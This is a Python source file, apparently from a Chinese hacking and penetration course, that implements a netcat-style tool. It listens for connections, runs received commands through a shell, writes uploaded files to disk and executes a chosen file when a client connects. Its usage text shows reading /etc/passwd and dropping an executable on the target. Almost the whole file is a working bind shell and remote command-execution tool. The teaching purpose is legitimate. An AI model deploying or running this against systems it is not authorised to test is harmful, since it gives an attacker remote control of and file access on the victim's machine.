#!/usr/bin/python3.4
# -*- coding=utf-8 -*-
#本脚由亁颐堂现任明教教主编写，用于乾颐盾Python课程！
#教主QQ:605658506
#亁颐堂官网www.qytang.com
#乾颐盾是由亁颐堂现任明教教主开发的综合性安全课程
#包括传统网络安全（防火墙，IPS...）与Python语言和黑客渗透课程！
import sys
import socket
import getopt
import threading
import subprocess

listen				=	False
command 			= 	False
upload				= 	False
execute				= 	""
target				= 	""
upload_destination 	= 	""
port				=	0

def usage():
	print("QYTANG Net Tool")
	print()
	print("Usage: 1_NetCat.py -t target_host -p port")
	print("-l --listen					- listen on [host]:[port] for incoming connections")
	print("-e --execute file_to_run		- excute to given file upon receiving a coonection")
	print("-c --command					- initialize a command shell")
	print("-u --upload destination    	- upon receiving connection upload a file and write to [destination]")
	print()
	print()
	print("Examples:")
	print("1_NetCat.py -t 192.168.0.1 -p 5555 -l -c")
	print("1_NetCat.py -t 192.168.0.1 -p 5555 -l -u c:\\target.exe")
	print("1_NetCat.py -t 192.168.0.1 -p 5555 -l -e \'cat /etc/passwd\'")
	print("echo 'ABCDEFGHI' | ./1_NetCat.py -t 192.168.11.12 -p 135")
	sys.exit(0)

def main():
	global listen
	global port
	global execute
	global command
	global upload_destination
	global target

	if not len(sys.argv[1:]):
		usage()

	try:
		opts, args = getopt.getopt(sys.argv[1:], "hle:t:p:cu:", ["help", "listen", "execute", "target", "port", "command", "upload"])
		#http://blog.csdn.net/tianzhu123/article/details/7655499
		#“hp:i:”
		#短格式 --- h 后面没有冒号：表示后面不带参数，p：和 i：后面有冒号表示后面需要参数
	except getopt.GetoptError as err:
		print(str(err))
		usage()

	for o, a in opts:
		if o in ("-h", "--help"):
			usage()
		elif o in ("-l", "--listen"):
			listen = True
		elif o in ("-e", "--execute"):
			execute = a
		elif o in ("-c", "--commandshell"):
			command = True
		elif o in ("-u", "--upload"):
			upload_destination = a
		elif o in ("-t", "--target"):
			target = a
		elif o in ("-p", "--port"):
			port = int(a)
		else:
			assert False, "Unhandled Option"
	if not listen and len(target) and port > 0 and not upload_destination:
		buffer = sys.stdin.read()
		client_sender(buffer)

	if not listen and len(target) and port > 0 and upload_destination:
		upload_file(upload_destination)
		#print(upload_destination)
		#file_to_upload = open(upload_destination, "rb")
		#file_to_upload_fragment = file_to_upload.read(1024)
		#while file_to_upload_fragment:	
		#	client_sender(file_to_upload_fragment)#发送数据分片（如果分片的话）
		#	file_to_upload_fragment = file_to_upload.read(1024)#继续读取数据

	if listen:
		server_loop()

def upload_file(file):
	client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	try:
		client.connect((target, port))
		file_to_upload = open(file, "rb")
		file_to_upload_fragment = file_to_upload.read(1024)
		while file_to_upload_fragment:	
			client.send(file_to_upload_fragment)#发送数据分片（如果分片的话）
			file_to_upload_fragment = file_to_upload.read(1024)#继续读取数据

	except Exception as e:
		print(e)
		print("[*] Exception! Uploadfile Exiting.")
		client.close()


def client_sender(buffer):
	client = socket.socket(socket.AF_INET, socket.SOCK_STREAM)

	try:
		client.connect((target, port))
		if len(buffer):
			client.send(buffer.encode())

		while True:
			recv_len = 1
			response = ""
			while recv_len:
				data		=	client.recv(4096).decode()
				recv_len	=	len(data)
				response   += 	data

				if recv_len < 4096:
					break
			print(response,end="")

			buffer  = input("")
			buffer += "\n"
			client.send(buffer.encode())
	except Exception as e:
		print(e)
		print("[*] Exception! Exiting.")
		client.close()

def server_loop():
	global target

	if not len(target):
		target = "0.0.0.0"
	server = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
	server.bind((target, port))

	server.listen(5)

	while True:
		client_socket, addr = server.accept()
		client_thread = threading.Thread(target=client_handler, args=(client_socket,))
		client_thread.start()

def run_command(command):
	command = command.rstrip()
	try:
		output = subprocess.check_output(command, stderr=subprocess.STDOUT, shell=True)
	except Exception as e:
		print(e)
		output = "Failed to execute command.\r\n"

	return output

def client_handler(client_socket):
	global upload
	global execute
	global command

	if len(upload_destination):
		file_buffer = b""

		while True:
			data = client_socket.recv(1024)
			print(data)
			if not data:
				break
			else:
				file_buffer += data
		try:
			file_descriptor = open(upload_destination, "wb")
			file_descriptor.write(file_buffer)
			file_descriptor.close()

			str_to_send = "Successfully saved file to %s\r\n" % upload_destination
			client_socket.send(str_to_send.encode())
		except Exception as e:
			print(e)
			str_to_send = "Failed to save file to %s\r\n" % upload_destination
			client_socket.send(str_to_send.encode())

	if len(execute):
		output = run_command(execute)
		client_socket.send(output)

	if command:
		while True:
			client_socket.send("<QYTANG:#> ".encode())
			cmd_buffer = ""
			while "\n" not in cmd_buffer:
				cmd_buffer += client_socket.recv(1024).decode()
				response = run_command(cmd_buffer)
				client_socket.send(response)

if __name__ == '__main__':
	main()
